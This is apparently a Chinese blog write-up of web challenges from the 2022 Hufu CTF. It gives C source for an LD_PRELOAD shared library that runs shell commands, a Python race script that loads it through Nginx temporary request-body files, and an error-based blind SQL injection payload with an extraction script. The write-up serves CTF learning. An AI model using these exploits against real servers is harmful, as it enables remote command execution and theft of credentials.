2022虎符CTF-WEB赛后复现
创始人
2024-05-24 14:52:07
0

1、ezphp

参考Jacko师傅的这篇虎符CTF

写的已经很详细了,先简单梳理一下题目,题目与P师傅的这篇文章类似我是如何利用环境变量注入执行任意命令。简单来说就是不同的系统,他的system命令调用的命令不同。

php中调用system本质上是调用了sh -c,在不同操作系统中:

  • debian:sh→dash
  • centos:sh→bash

总结:

  • BASH_ENV:可以在bash -c的时候注入任意命令
  • ENV:可以在sh -i -c的时候注入任意命令
  • PS1:可以在shbash交互式环境下执行任意命令
  • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
  • BASH_FUNC_xxx%%:可以在bash -csh -c的时候执行任意命令

题目就是P师傅没解决的debian系统

而这篇文章解决了这个问题hxp CTF 2021 - A New Novel LFI

Nginx对于请求的body内容会以临时文件的形式存储起来

大概思路是:

  • 请求一个过大的body,会在/proc/self/fd目录下生成临时文件
  • 传一个填满大量脏数据的so文件
  • 竞争LD_PRELOAD包含 proc 目录下的临时文件

这是生成so的源文件

#include 
#include 
#include __attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");system("id");system("cat /flag > /var/www/html/flag");
}

注意,在代码里加许多无用代码,我加了两万行的

a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;

如图

使用以下命令编译生成so文件

gcc -shared -fPIC hook_exp.c -o hook_exp.so

后来生成的恶意so文件有163kb

接下来就是竞争脚本,注意url和恶意so文件的路径。

import requests
import _threadf=open("hook_exp.so",'rb')
data=f.read()
url="http://localhost:12333/"def upload():print("start upload")while True:requests.get(url+"index.php",data=data)def preload(fd):while True:print("start ld_preload")for pid in range(10,20):file = f'/proc/{pid}/fd/{fd}'# print(url+f"index.php?env=LD_PRELOAD={file}")resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")# print(resp.text)if 'uid' in resp.text:print("finished")exit()try:_thread.start_new_thread(upload, ())for fd in range(1, 20):_thread.start_new_thread(preload,(fd,))
except:print("error")while True:pass

当脚本运行出现finished,直接url访问、flag就会自动下载flag

2、Babysql

这里直接搬运Jacko师傅的,我没搞出来

hint.md

```sql
CREATE TABLE `auth` (`id` int NOT NULL AUTO_INCREMENT,`username` varchar(32) NOT NULL,`password` varchar(32) NOT NULL,PRIMARY KEY (`id`),UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
``````js
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';export class User {id: number;username: string;
}function safe(str: string): string {const r = str.replace(/[\s,()#;*\-]/g, '').replace(/^.*(?=union|binary).*$/gi, '').toString();return r;
}@Injectable()
export class AuthService {constructor(private connectionProvider: ConnectionProvider) {}async validateUser(username: string, password: string): Promise | null {const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;const [rows] = await this.connectionProvider.use((c) => c.query(sql));const user = rows[0];if (user && user.password === password) {// eslint-disable-next-line @typescript-eslint/no-unused-varsconst { password, ...result } = user;return result;}return null;}
}

这道题出得挺好的

首先看代码逻辑,先对输入的username进行查询,如果有,则用输入的password同查询出来的比较

看了这个首先想到的当然是union select,然而这里过滤了,当然这个过滤是绕不了的,双写不行,这里存在就把这个字符串替空,而不只是union

再看看hint中的regexp,在过滤了()的前提下,regexp确实是个好函数

就想着能不能通过regexp把用户名密码匹配出来,想到了盲注

然而,盲注并非易事,这里不管有没有查询出结果,只要没拿到最终的用户名密码之前,都返回null,这就无法进行布尔盲注了

那有没有可能进行时间盲注呢?没有括号,这里调用不了像sleep()之类的函数,哎?再结合regexp,会不会正则匹配进行延时,然而并没有想象这么简单,进过本地一番测试发现,一延时mysql直接报Timeout了 ,没法利用

然而就在没思绪地用regexp测试的时候,发现当regexp传入不合语法匹配规则的时候会报错,报错?这不是可以用报错进行布尔盲注了吗?

这时候刷新一下题目信息,还是零解,赶紧冲!

说干就干,经过几番优化之后,构造出来

SELECT * FROM auth WHERE username='' or 1 or '' regexp '?' LIMIT 1;

构造是构造出来了,其中1为布尔点,然而当我换成regexp的时候出问题了

SELECT * FROM auth WHERE username='' or username regexp '^a' or '' regexp '?' LIMIT 1;

我原以为当前面匹配的时候,就不会执行后面错误的正则匹配了,然而我错了,regexp的语法检查是在查询判断之前进行的

后面换了其他一些报错的方法,最后发现通过整型溢出可以成功

SELECT * FROM auth WHERE username='' or (username regexp '^a')+~0 or '' LIMIT 1;

当匹配的时候为真,溢出报错,不匹配的时候正常不报错

现在问题就变成了怎么去掉括号,加法的优先级高过regexp,并不是随随便便可以去掉的,这里也想了很久,最后用case来解决了这个问题

SELECT * FROM auth WHERE username=''||case`username`regexp'^a'when'1'then~0+1+''else'0'end||'' LIMIT 1;

这里有几个点:

  • usernameregexp之间怎么隔开?这里把username用反引号引起来
  • whenthen怎么隔开?这里用了字符的强转型
  • then后的1else怎么隔开?这里加多一个空字符
  • 最后end怎么闭合后面的单引号?这里加多一个**||**

这些可能都是一些看到了payload觉得很简单,然而真正亲手尝试的时候会遇到各种各样的坑

后面就是脚本了,同样也并不顺利,和队友交流了之后还是花了好久,不过最终还是做出来了

  • 特殊字符怎么办?用反引号进行转义
  • 大小写怎么区分?用COLLATE utf8mb4_bin

直接上脚本

import requests
url='http://xxx/login'
flag=''
for i in range(1,50):for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':temp=asciiif(temp in '^!?$'):temp="\\\\\\"+temppayload={'password':'xxx','username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"}response=requests.post(url=url, data=payload)print(payload)print(response.text)if '500' in response.text:flag+=tempprint(flag)breakprint(ascii)

跑出用户名密码直接登陆就可以了

3、Baby Router Updater和4、ezchain,一个杂揉了web、crypto、misc、reverse,一个Java,我不会

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
一帆风顺二龙腾飞三阳开泰祝福语... 本篇文章极速百科给大家谈谈一帆风顺二龙腾飞三阳开泰祝福语,以及一帆风顺二龙腾飞三阳开泰祝福语结婚对应...
美团联名卡审核成功待激活(美团... 今天百科达人给各位分享美团联名卡审核成功待激活的知识,其中也会对美团联名卡审核未通过进行解释,如果能...